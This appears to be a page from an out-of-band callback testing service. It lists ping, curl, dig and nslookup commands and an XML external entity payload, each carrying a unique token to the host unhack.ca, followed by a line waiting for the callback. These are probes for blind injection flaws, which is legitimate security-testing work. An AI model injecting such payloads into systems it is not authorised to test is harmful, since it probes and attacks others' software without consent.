$ ping -c1 -p 00276b8fe8a255a2893fa9b66031d100 unhack.ca
 
$ curl http://unhack.ca/p/276b8fe8a255a2893fa9b66031d1
 
$ dig 276b8fe8a255a2893fa9b66031d1 @unhack.ca
 
$ dig 276b8fe8a255a2893fa9b66031d1.ns.unhack.ca
 
C:\> nslookup 276b8fe8a255a2893fa9b66031d1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/276b8fe8a255a2893fa9b66031d1">]>
    <foo>&xxe;</foo>
 
Waiting for ping...